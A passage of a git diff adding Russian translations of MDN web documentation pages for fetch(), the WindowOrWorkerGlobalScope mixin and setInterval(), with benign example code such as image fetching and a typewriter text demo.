+<p>{{domxref("WindowOrWorkerGlobalScope.fetch","Fetch()")}} promise (обещание) завершается {{jsxref("TypeError")}}, если возникает сетевая ошибка, хотя обычно это означает проблему с доступами или аналогичную ей. Для успешного завершения <code>fetch()</code> достаточно удостовериться в том, что обещание выполнено и что свойство {{domxref("Response.ok")}} имеет значение <code>true</code>. HTTP статус 404 не является сетевой ошибкой.</p>
+
+<p>Метод <code>fetch()</code> контролируется директивой <code>connect-src</code> directive of <a href="/en-US/docs/Security/CSP/CSP_policy_directives">Content Security Policy</a> (политика безопасности контента), а не директивой ресурсов, которые извлекает.</p>
+
+<div class="note">
+<p><strong>На Заметку</strong>: Аргументы метода <code>fetch()</code> идентичны аргументам {{domxref("Request.Request","Request()")}} конструктора.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Promise&lt;Response&gt; fetch(input[, init]);</pre>
+
+<h3 id="Аргументы">Аргументы</h3>
+
+<dl>
+ <dt><em>input</em></dt>
+ <dd>Определяет желаемый для получения ресурс. Это может быть:
+ <ul>
+  <li>{{domxref("USVString")}} (строка), содержащая прямую URL ссылку на ресурс. Некоторые браузеры принимают <code>blob:</code> и <code>data:</code> , как схемы.</li>
+  <li>{{domxref("Request")}} объект (объект ответа).</li>
+ </ul>
+ </dd>
+ <dt><em>init</em> {{optional_inline}}</dt>
+ <dd>Объект с опциями, содержащий пользовательские настройки, которые вы желаете применить к запросу. Возможные варианты:
+ <ul>
+  <li><code>method</code>: Метод запроса, например, <code>GET</code>, <code>POST</code>.</li>
+  <li><code>headers</code>: Заголовки, содержащиеся в объекте {{domxref("Headers")}} или в объекте литерале с побитовыми значениями ({{domxref("ByteString")}}).</li>
+  <li><code>body</code>: Тело запроса, которое может быть: {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, или {{domxref("USVString")}} объектами. Обратите внимание, что <code>GET</code> или <code>HEAD</code> запрос не может иметь тела.</li>
+  <li><code>mode</code>: Режим, например, <code>cors</code>, <code>no-cors</code> или <code>same-origin</code>.</li>
+  <li><code>credentials</code>: Полномочия: <code>omit</code>, <code>same-origin</code> или <code>include</code>. Для автоматической отправки куки для текущего домена, эта опция должна быть указана. Начиная с Chrome 50, это свойство также принимает экземпляр класса {{domxref("FederatedCredential")}} или  {{domxref("PasswordCredential")}}.</li>
+  <li><code>cache</code>: Режим кэширования запроса <code>default</code>, <code>no-store</code>, <code>reload</code>, <code>no-cache</code>, <code>force-cache</code> или <code>only-if-cached</code>.</li>
+  <li><code>redirect</code>: Режим редиректа: <code>follow</code> (автоматически переадресовывать), <code>error</code> (прерывать перенаправление ошибкой) или <code>manual</code> (управлять перенаправлениями вручную). В Chrome по дефолту стоит <code>follow</code> (ранее, в Chrome 47, стояло <code>manual</code>).</li>
+  <li><code>referrer</code>: {{domxref("USVString")}}, определяющая <code>no-referrer</code>, <code>client</code> или a URL. Дефолтное значение - <code>client</code>.</li>
+  <li><code>referrerPolicy</code>: Определяет значение HTTP заголовка реферера. Может быть: <code>no-referrer</code>, <code>no-referrer-when-downgrade</code>, <code>origin</code>, <code>origin-when-cross-origin</code>, <code>unsafe-url</code>.</li>
+  <li><code>integrity</code>: Содержит значение целостности субресурсов (<a href="/en-US/docs/Web/Security/Subresource_Integrity">subresource integrity</a>) запроса (например, <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>).</li>
+  <li><code>keepalive</code>: Эта опция может быть использована, чтобы разрешить запросу "пережить" страницу. Получение ресурсов с флагом <code>keepalive</code> - это альтернатива {{domxref("Navigator.sendBeacon()")}} API. </li>
+  <li><code>signal</code>: Экзмепляр объекта {{domxref("AbortSignal")}}; позволяет коммуницировать с fetch запросом и, если нужно, отменять его с помощью {{domxref("AbortController")}}.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{domxref("Promise")}}, содержащий {{domxref("Response")}} объект (ответ на запрос).</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Тип</strong></th>
+   <th scope="col"><strong>Описание</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>AbortError</code></td>
+   <td>Запрос был отменен (используя {{domxref("AbortController.abort()")}}).</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>Начиная с версии <a href="/en-US/docs/Mozilla/Firefox/Releases/43">Firefox 43</a>, <code>fetch()</code> завершится ошибкой <code>TypeError</code>, если URL имеет такие полномочия, как <code>http://user:password@example.com</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-request">Fetch Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>) мы создаем новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом <code>fetch()</code>. Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаем для него Object URL и передаем ее в элемент {{htmlelement("img")}}.</p>
+
+<pre class="brush: js">var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(response) {
+  var objectURL = URL.createObjectURL(response);
+  myImage.src = objectURL;
+});</pre>
+
+<p>В нашем <a href="https://github.com/mdn/fetch-examples/blob/master/fetch-with-init-then-request/index.html">Fetch with init then Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-with-init-then-request/">Fetch Request init live</a>) мы делаем тоже самое, за исключением того, что передаем в качестве аргумента для <code>fetch()</code> объект init:</p>
+
+<pre class="brush: js">var myImage = document.querySelector('img');
+
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest,myInit).then(function(response) {
+  ...
+});</pre>
+
+<p>Обратите внимание, что объект init в качестве аргумента можно передать и в конструктор <code>Request</code> для получения аналогичного результата, например:</p>
+
+<pre class="brush: js">var myRequest = new Request('flowers.jpg', myInit);</pre>
+
+<p>Допустимо использования объекта литерала в качестве <code>headers</code> в <code>init</code>.</p>
+
+<pre class="brush: js">var myInit = { method: 'GET',
+               headers: {
+                   'Content-Type': 'image/jpeg'
+               },
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#fetch-method','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Частично определена в новейшей спецификации <code>WindowOrWorkerGlobalScope</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-global-fetch','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Добавлена возможность установить экземпляр класса {{domxref("FederatedCredential")}} или {{domxref("PasswordCredential")}} как возможное значение для <code>init.credentials</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице была создана из структурированных данных. Если вы желаете поспособствовать, пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/windoworworkerglobalscope/index.html b/files/ru/web/api/windoworworkerglobalscope/index.html
new file mode 100644
index 0000000000..8f38321cb1
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/index.html
@@ -0,0 +1,187 @@
+---
+title: WindowOrWorkerGlobalScope
+slug: Web/API/WindowOrWorkerGlobalScope
+tags:
+  - API
+  - DOM
+  - DOM API
+  - NeedsTranslation
+  - Service Worker
+  - TopicStub
+  - Window
+  - WindowOrWorkerGlobalScope
+  - Worker
+  - WorkerGlobalScope
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{ApiRef()}}</div>
+
+<p>Миксин <strong><code>WindowOrWorkerGlobalScope</code></strong> описывает несколько функций, общих для интерфейсов {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}} . Каждый из этих интерфейсов, конечно же, может добавить больше возможностей в дополнение к перечисленным ниже.</p>
+
+<div class="note">
+<p><strong>Замечание: WindowOrWorkerGlobalScope - это миксин, а не интерфейс; на самом деле вы не можете создать объект типа WindowOrWorkerGlobalScope.</strong></p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>Эти свойства определены в миксине {{domxref("WindowOrWorkerGlobalScope")}} и реализованы с помощью {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}}.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Возвращает объект {{domxref("CacheStorage")}}, связанный с текущим контекстом. Данный объект включает в себя такие функциональные возможности, как хранение активов для использования в автономном режиме, а также генерацию пользовательских ответов на запросы.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Предоставляет механизм асинхронного доступа приложений к возможностям индексируемых баз данных; возвращает объект {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Возвращает логический ключ, указывающий, является ли текущий контекст безопасным (true) или нет (false).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Возвращает происхождение глобального диапазона, сериализованного в виде строки.</dd>
+</dl>
+</div>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Эти свойства определены на смеси {{domxref("WindowOrWorkerGlobalScope")}} и реализованы с помощью {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}}.</p>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Декодирует строку данных, которая была закодирована с использованием кодировки base-64.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Создает ASCII строку в кодировке base-64 из строки бинарных данных.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Отменяет набор для повторного выполнения, используя {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Отменяет набор отложенного исполнения, используя {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Принимает различные источники изображений и возвращает {{domxref(" Promise")}}, который преобразуется в {{domxref("ImageBitmap")}}. Опционально источник обрезается до прямоугольника пикселей, происходящих от (sx, sy) с шириной sw и высотой sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Запускает процесс извлечения ресурса из сети.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Планирует функцию, которая будет выполняться каждый раз по истечении заданного числа миллисекунд.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Планирует функцию для выполнения в заданное время.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG",'webappapis.html#windoworworkerglobalscope-mixin', '<code>WindowOrWorkerGlobalScope</code> mixin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>This is where the main mixin is defined.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#fetch-method','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definition of the <code>fetch()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#self-caches', 'caches')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Definition of the <code>caches</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-windoworworkerglobalscope-indexeddb', 'indexedDB')}}</td>
+   <td>{{Spec2('IndexedDB 2')}}</td>
+   <td>Definition of the <code>indexedDB</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Secure Contexts', '#dom-windoworworkerglobalscope-issecurecontext', 'isSecureContext')}}</td>
+   <td>{{Spec2('Secure Contexts')}}</td>
+   <td>Definition of the <code>isSecureContext</code> property.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>54</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code></td>
+   <td>{{CompatGeckoDesktop(54)}}</td>
+   <td>59</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(52)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>54</td>
+  </tr>
+  <tr>
+   <td><code>origin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(54)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>59</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}}</li>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html
new file mode 100644
index 0000000000..3095c8d6ec
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html
@@ -0,0 +1,641 @@
+---
+title: WindowOrWorkerGlobalScope.setInterval()
+slug: Web/API/WindowOrWorkerGlobalScope/setInterval
+translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">Метод <strong><code>setInterval()</code></strong> предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом.</span> Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный <span class="seoSummary"><strong><code>setInterval</code></strong></span> c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определен с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>var intervalID</em> = scope.setInterval(<em>func</em>, <em>delay</em>[, <em>param1</em>, <em>param2</em>, ...]);
+<em>var intervalID</em> = scope.setInterval(<em>code</em>, <em>delay</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>func</code></dt>
+ <dd>{{jsxref("function")}} - функция, которая будет вызыватся каждые <code>delay</code> милисекунд. Ожидается, что функция не принимает параметры и ничего не возвращает.</dd>
+ <dt><code>code</code></dt>
+ <dd>Этот необязательный синтаксис позволяет вам включать строку вметсо функции, которая компилируется и выполняется каждые <code>delay</code> миллисекунд. Однако такая форма не комендуется по тем же причинам, которые делают {{jsxref("eval", "eval()")}} угрозой безопасности.</dd>
+ <dt><code>delay</code></dt>
+ <dd>Время в милисекундах (одна тысячная секунды), на которое таймер выполнит задержку между вызовом функции. Если задано значение меньше 10, то будет использовано число 10. На самом деле задержка может быть больше чем указано, дополнительное объяснение приведено здесь:  {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}}.</dd>
+ <dt><code>param1, ..., paramN</code> {{optional_inline}}</dt>
+ <dd>Дополнительные параметры, передаваемые в функцию <em>func</em>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание</strong>: Передача дополнительных аргументов в <code>setInterval()</code> в первом синтаксисе не работает в Internet Explorer 9 и более ранних версиях.Если вы хотите включить эту функцию в этом браузере, вам следует использовать polyfill (смотрите раздел <a href="#Callback_arguments">Callback аргументы</a>).</p>
+</div>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращаемый <code>intervalID</code> представляет из себя ненулевое числовое значение, которое идентифицирует таймер, созданный вызовом <code>setInterval()</code>; Это значение может быть передано в {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}} для отмены таймера.</p>
+
+<p>It may be helpful to be aware that <code>setInterval()</code> and {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} share the same pool of IDs, and that <code>clearInterval()</code> and {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} can technically be used interchangeably. For clarity, however, you should try to always match them to avoid confusion when maintaining your code.</p>
+
+<div class="note"><strong>Note</strong>: The <code>delay</code> parameter is converted to a signed 32-bit integer. This effectively limits <code>delay</code> to 2147483647 ms, since it's specified as a signed integer in the IDL.</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_1_Базовый_синтаксис">Пример 1: Базовый синтаксис</h3>
+
+<p>The following example demonstrates <code>setInterval()</code>'s basic syntax.</p>
+
+<pre class="brush:js notranslate">var intervalID = window.setInterval(myCallback, 500);
+
+function myCallback() {
+  // Your code here
+}
+</pre>
+
+<h3 id="Пример_2_Чередование_двух_цветов">Пример 2: <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Чередование двух цветов</span></span></span></h3>
+
+<p>В следующем примере вызывается функция <code>flashtext()</code> раз в секунду, до того момента, как будет нажата кнопка Stop.</p>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;setInterval/clearInterval example&lt;/title&gt;
+
+  &lt;script&gt;
+    var nIntervId;
+
+    function changeColor() {
+      nIntervId = setInterval(flashText, 1000);
+    }
+
+    function flashText() {
+      var oElem = document.getElementById('my_box');
+      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
+      // oElem.style.color == 'red' ? 'blue' : 'red' это тернарный оператор.
+    }
+
+    function stopTextColor() {
+      clearInterval(nIntervId);
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="changeColor();"&gt;
+  &lt;div id="my_box"&gt;
+    &lt;p&gt;Hello World&lt;/p&gt;
+  &lt;/div&gt;
+
+  &lt;button onclick="stopTextColor();"&gt;Stop&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Пример_3_Симуляция_пишущей_машинки"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Пример 3: Симуляция пишущей машинки</span></span></span></h3>
+
+<p>The following example simulates typewriter by first clearing and then slowly typing content into the <a href="/en-US/docs/DOM/NodeList"><code>NodeList</code></a> that matches a specified group of selectors.</p>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;JavaScript Typewriter - MDN Example&lt;/title&gt;
+&lt;script&gt;
+  function Typewriter (sSelector, nRate) {
+
+  function clean () {
+    clearInterval(nIntervId);
+    bTyping = false;
+    bStart = true;
+    oCurrent = null;
+    aSheets.length = nIdx = 0;
+  }
+
+  function scroll (oSheet, nPos, bEraseAndStop) {
+    if (!oSheet.hasOwnProperty('parts') || aMap.length &lt; nPos) { return true; }
+
+    var oRel, bExit = false;
+
+    if (aMap.length === nPos) { aMap.push(0); }
+
+    while (aMap[nPos] &lt; oSheet.parts.length) {
+      oRel = oSheet.parts[aMap[nPos]];
+
+      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
+
+      if (bEraseAndStop &amp;&amp; (oRel.ref.nodeType - 1 | 1) === 3 &amp;&amp; oRel.ref.nodeValue) {
+        bExit = true;
+        oCurrent = oRel.ref;
+        sPart = oCurrent.nodeValue;
+        oCurrent.nodeValue = '';
+      }
+
+      oSheet.ref.appendChild(oRel.ref);
+      if (bExit) { return false; }
+    }
+
+    aMap.length--;
+    return true;
+  }
+
+  function typewrite () {
+    if (sPart.length === 0 &amp;&amp; scroll(aSheets[nIdx], 0, true) &amp;&amp; nIdx++ === aSheets.length - 1) { clean(); return; }
+
+    oCurrent.nodeValue += sPart.charAt(0);
+    sPart = sPart.slice(1);
+  }
+
+  function Sheet (oNode) {
+    this.ref = oNode;
+    if (!oNode.hasChildNodes()) { return; }
+    this.parts = Array.prototype.slice.call(oNode.childNodes);
+
+    for (var nChild = 0; nChild &lt; this.parts.length; nChild++) {
+      oNode.removeChild(this.parts[nChild]);
+      this.parts[nChild] = new Sheet(this.parts[nChild]);
+    }
+  }
+
+  var
+    nIntervId, oCurrent = null, bTyping = false, bStart = true,
+    nIdx = 0, sPart = "", aSheets = [], aMap = [];
+
+  this.rate = nRate || 100;
+
+  this.play = function () {
+    if (bTyping) { return; }
+    if (bStart) {
+      var aItems = document.querySelectorAll(sSelector);
+
+      if (aItems.length === 0) { return; }
+      for (var nItem = 0; nItem &lt; aItems.length; nItem++) {
+        aSheets.push(new Sheet(aItems[nItem]));
+        /* Uncomment the following line if you have previously hidden your elements via CSS: */
+        // aItems[nItem].style.visibility = "visible";
+      }
+
+      bStart = false;
+    }
+
+    nIntervId = setInterval(typewrite, this.rate);
+    bTyping = true;
+  };
+
+  this.pause = function () {
+    clearInterval(nIntervId);
+    bTyping = false;
+  };
+
+  this.terminate = function () {
+    oCurrent.nodeValue += sPart;
+    sPart = "";
+    for (nIdx; nIdx &lt; aSheets.length; scroll(aSheets[nIdx++], 0, false));
+    clean();
+  };
+}
+
+/* usage: */
+var oTWExample1 = new Typewriter(/* elements: */ '#article, h1, #info, #copyleft', /* frame rate (optional): */ 15);
+
+/* default frame rate is 100: */
+var oTWExample2 = new Typewriter('#controls');
+
+/* you can also change the frame rate value modifying the "rate" property; for example: */
+// oTWExample2.rate = 150;
+
+onload = function () {
+  oTWExample1.play();
+  oTWExample2.play();
+};
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+span.intLink, a, a:visited {
+  cursor: pointer;
+  color: #000000;
+  text-decoration: underline;
+}
+
+#info {
+  width: 180px;
+  height: 150px;
+  float: right;
+  background-color: #eeeeff;
+  padding: 4px;
+  overflow: auto;
+  font-size: 12px;
+  margin: 4px;
+  border-radius: 5px;
+  /* visibility: hidden; */
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;"&gt;CopyLeft 2012 by &lt;a href="https://developer.mozilla.org/" target="_blank"&gt;Mozilla Developer Network&lt;/a&gt;&lt;/p&gt;
+&lt;p id="controls" style="text-align: center;"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="oTWExample1.play();"&gt;Play&lt;/span&gt; | &lt;span class="intLink" onclick="oTWExample1.pause();"&gt;Pause&lt;/span&gt; | &lt;span class="intLink" onclick="oTWExample1.terminate();"&gt;Terminate&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;div id="info"&gt;
+Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
+&lt;/div&gt;
+&lt;h1&gt;JavaScript Typewriter&lt;/h1&gt;
+
+&lt;div id="article"&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.&lt;/p&gt;
+&lt;form&gt;
+&lt;p&gt;Phasellus ac nisl lorem: &lt;input type="text" /&gt;&lt;br /&gt;
+&lt;textarea style="width: 400px; height: 200px;"&gt;Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.&lt;/textarea&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send" /&gt;
+&lt;/form&gt;
+&lt;p&gt;Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.&lt;/p&gt;
+&lt;p&gt;Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.&lt;/p&gt;
+&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><a href="/files/3997/typewriter.html">View this demo in action</a>. See also: <a href="/en-US/docs/DOM/window.clearInterval"><code>clearInterval()</code></a>.</p>
+
+<h2 id="Аргументы_функции_обратного_вызова">Аргументы функции обратного вызова</h2>
+
